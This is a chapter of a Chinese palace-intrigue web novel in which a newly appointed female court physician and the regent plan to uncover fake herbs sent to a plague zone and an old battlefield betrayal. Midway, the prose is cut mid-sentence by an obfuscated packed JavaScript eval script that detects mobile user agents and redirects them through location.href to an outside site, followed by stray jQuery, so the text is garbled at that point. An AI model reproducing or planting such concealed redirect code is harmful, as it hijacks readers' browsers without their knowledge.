11. 院判
作品:《真假?摄政王竟是我仇人!》 大殿之中,皇帝看着底下恭恭敬敬跪着的谢清鸢,眼中闪过一抹喜色,这才是他真正要选的人
从将他们下狱开始,一切就都在他的掌握之中,若说唯一让他出乎意料的,那就是最后发现他意图的会是这个小丫头
倒真是给了他一个大大的惊喜
“昨日诸位受累了,都起身吧”,皇帝特意让手下的太监去搀扶那几个中毒的人起身
“朕将你们下狱的初衷是为了考验你们的心智,毕竟疫病一事关重大,朕不可能轻率作出决定,却没想到你们之中竟真有此等心狠手辣之辈,残害同僚,幸亏各位没事”
昨日中毒的人见皇帝都这样说了,也没办法再说些什么,只能咽下这口哑巴亏
“多谢皇上关怀,臣喜不自胜”
皇帝笑了笑,随即让陆衍宣旨,众人一见纷纷挺直了腰板
“奉天承运皇帝,诏曰:今有江城谢氏清鸢,楚北阮氏悟遥,死骨回肉,妙手回春,实为天下女子表率,特破例封为六品院判,其余人等擢晋为正八品御医,望尔等扬医之圣道,助我朝早日化解疫病,造福万民,钦哉!”
圣旨一下,谢清鸢和阮悟遥无疑成了全场焦点
谢清鸢也有些惊讶,毕竟当初只说是册封一位院判,她原也从未想过能够当上院判,毕竟悟遥的医术比她有过之而无不及,可是如今怎么封了两位?
“院判大人,接旨吧”,陆衍将圣旨递到谢清鸢手上
“臣等领旨,多谢皇上隆恩!”
因为封了院判,高低也是个官员,因此谢清鸢独自住一套院子,虽说不是很大,一人住足矣
深夜,谢清鸢思考眼下当务之急是查清疫区为什么会出现假药材,可又应该怎么找个不被怀疑的理由插手此事呢?
“咚咚咚”,房门被敲响
“进来”
谢清鸢定睛一看,竟然是昨日的院判张大人!
“臣拜见张大人,不知大人深夜前来,所谓何事?”,谢清鸢温声开口,毕竟综合之前的种种情形,这位张大人不像是坏人
“哈哈哈,你我如今是同职,何须行礼啊?”,他摸了摸胡须笑道
谢清鸢谦卑道:“臣只不过是初来乍到,而张大人资历远在臣之上,自然当得起”
听到这话,张大人几不可见地点了点头,果然,他没有看错人呐
“老夫我今日深夜造访,是来麻烦你了,还请谢大人一定要答应我这把老骨头的请求”,张大人也不讲官话了,随和道
谢清鸢面露疑色
“老夫年纪大了,面对诸多事务实在是有些力不从心,所以想辛苦你帮老夫分担一二”
“哦~,大人所说的是何事?”
“疫区的事”
一声惊雷,疫区的事?谢清鸢内心庆幸道难不成是老天听到了她的困难,所以派下人来助她一臂之力了?难不成她真的是天道之女,集全族气运于一身了?
张大人看着谢清鸢,眼神里多了些期许:“虽然皇上早日已经派摄政王监管疫区事宜,只是听说近日以来疫区频繁发生暴乱,老夫今年也七十了,该退了,现在最需要的是你们这些年轻人了”
谢清鸢心下了然,穆然起身,神色庄严:“既然如此,臣自当不负大人重托”
“你还年轻,疫区一事又牵扯重大,哪怕有摄政王……”
“罢了,我这老头子就不参与你们年轻人的事了,遇事一定要三思而后行”,张大人看着眼前的女子仍有些稚嫩的脸庞,忍不住告诫道
张大人走后,谢清鸢刚打算熄灯,谁知门外传来一阵脚步声
谢清鸢刚想开口问是谁
“谢大人,好久不见”
门被打开,熟悉的声音时隔日,再次回响在耳边
“微臣参见王爷”
江璟让谢清鸢起来,自己则坐在椅子上,盯着她看了一会儿
谢清鸢被盯得有些发毛
“不愧是前首辅的外孙女,身体里流淌着同样的血液,短短几日就到了别人一辈子都升不到的高度”,江璟发自真心夸赞道
“还是承蒙王爷提拔,清鸢才能有今日”,毕竟现在她的地位还不够高,最好低调一些
江璟拿起茶杯,轻抿一口:“成事要天时地利人和,本王不过是推你一把”
“这几日,本王派人查药材一案,却发现从太医署将药材分发向疫区,到熬成汤药整个过程都是摆在明面上的,根本查不出丝毫破绽,所以本王猜测那些药材很有可能在太医署时就已经出了问题”
“那王爷的意思是…让臣蛰伏在太医署,收集证据?”
“不错,本王就是这个意思”,江璟一副孺子可教的眼神看着谢清鸢
“那疫区百姓喝的假汤药又当如何?”
江璟轻笑一声,“疫区的事情,那还不是院判谢大人一句话的事吗?”
谢清鸢听到这话,心下了然,如今她接管疫区事宜,那分发向疫区的药材自然也是让她过目定夺
倘若真的是药材在太医署内部就出了问题,背后的始作俑者必定会来找她,她直接请君入瓮即可
谢清鸢想道方才院判张大人的欲言又止和谆谆教导,此刻才终于明白他的用心良苦
“微臣明白了”,突然话锋一转,“那臣交给王爷的小白鼠如何了?”
谢清鸢当初入宫时,担心自己无法照料它们,就将手里的小白鼠都交给了江璟看顾
听到这句话,江璟脸色黑了几分:“好,它们当然好好的”
其实心里暗想:本王不过就是摸了摸它们的毛,那个小东西差点就咬住本王,物随主人,这句话说的一点不假
谢清鸢自然不知王府到底是发生了什么,还以为它们与江璟当真相处地十分和谐融洽,当即告诉他小白鼠喜欢吃什么以及如何照料它
江璟的脸色更黑了,说了两句话就急匆匆地离开了
谢清鸢看了看他离去的背影,“啧啧啧,真是没有耐心,将来谁做了你的王妃才是遭大罪了”
摄政王府里,江璟看着一排排的小白鼠,看着它们洁白的毛发
脑海中却浮现出谢清鸢的面庞,她轻笑一声,他也不由自主的弯了弯唇角
言书和言烬并排而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15290088|166996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
立,看着眼前面对小白鼠出神还满脸笑意的王爷
二人相视一眼纷纷摇头,表示我们都不清楚王爷这几日到底是怎么了,不过值得庆幸的是整个人都有了几分人气儿
这时,徽一像是卡着时辰进来一般
“王爷,臣查到了!”
“王爷?!”
没有回应,言书言烬赶紧疯狂向他使眼色:不要再喊了,兄弟!王爷现在没时间搭理你
谁知徽一是个不懂弯弯绕绕的,还以为这俩人眼睛抽抽了
“王爷!”
江璟终于施舍地看了徽一一眼,示意他:本王还没有聋
徽一抿抿嘴,像是终于发现自己做错了事
江璟回到主位上,看向徽一:“说”
“臣按主子的吩咐,去查当年跟随顾家二位将军征战北漠的幸存兵士,据军报所言当年我军大败之后,二位将军的亲卫兵全部战死,如今却发现有两人改名换姓,如今就在朝中任职”
江璟面色一凛,“是谁?”
“一人名唤薛让,现任都察院左佥都御史,一人名唤吴勋,现任五城兵马司指挥使”
听到这,江璟勾了勾唇角开口:“有意思”
徽一心领神会回道:“听吴勋身边的同僚说,吴勋为人低调,不屑与薛让为伍,因此这么多年来,一直都未曾升迁,薛让倒是步步高升,不过七八年的功夫,就已升任四品”
“接着去查,着重从吴勋入手,这两个人绝对知道当年北漠一战的具体情形”,江璟沉声吩咐道
“臣遵命!”
漠北之战发生时,江璟也不过十岁,对于前线的具体情况也并不清楚
起先只听说首辅长子为人谨慎,少年老成,次子骁勇善战,横戈跃马,直抵漠北首领老巢,捷报频传
皇帝欣慰至极,当即下旨封二位为护国左、右将军,顾家一时风光无限
再后来前线军报迟迟未至,直到腊月初五那一天,八百里加急军情直入皇宫,传来的却是二位将军武断鲁莽,操之过急,致使大军痛失数座城池,皇帝震怒
腊月二十日,十万大军只剩区区三万
腊月二十九日,左将军即首辅长子顾暄琛战死
腊月三十日,首辅次子顾砚锦身中数箭,不治身亡,我军被迫退兵
出征时鲜衣怒马少年郎,终究是永远留在了寒冰刺骨的漠北
顾家长子之妻南听晚身怀六甲,听闻夫君死讯,受惊早产,诞下稚子顾惟安
大年初一,本是阖家团圆的日子,顾家满府缟素,因是罪臣,昔日门庭若市的顾府,葬礼却是清清冷冷,无一人敢来祭拜
漠北战败,将全部罪名扣到了顾家二子头上,可人已经死了?又能怎么追究呢?同样,无法追究罪过,就没有理由查明真相
次日早朝,首辅大人乞骸骨,皇帝允准,此事永久封存,朝野上下无人再提及
江璟拿起当年传来的前线军报,若是漠北一战当真是有人刻意为之,那他手里这些略有些泛黄的纸张就沾染了无数条冤死的亡魂
这些人,都是大景朝的忠勇之士!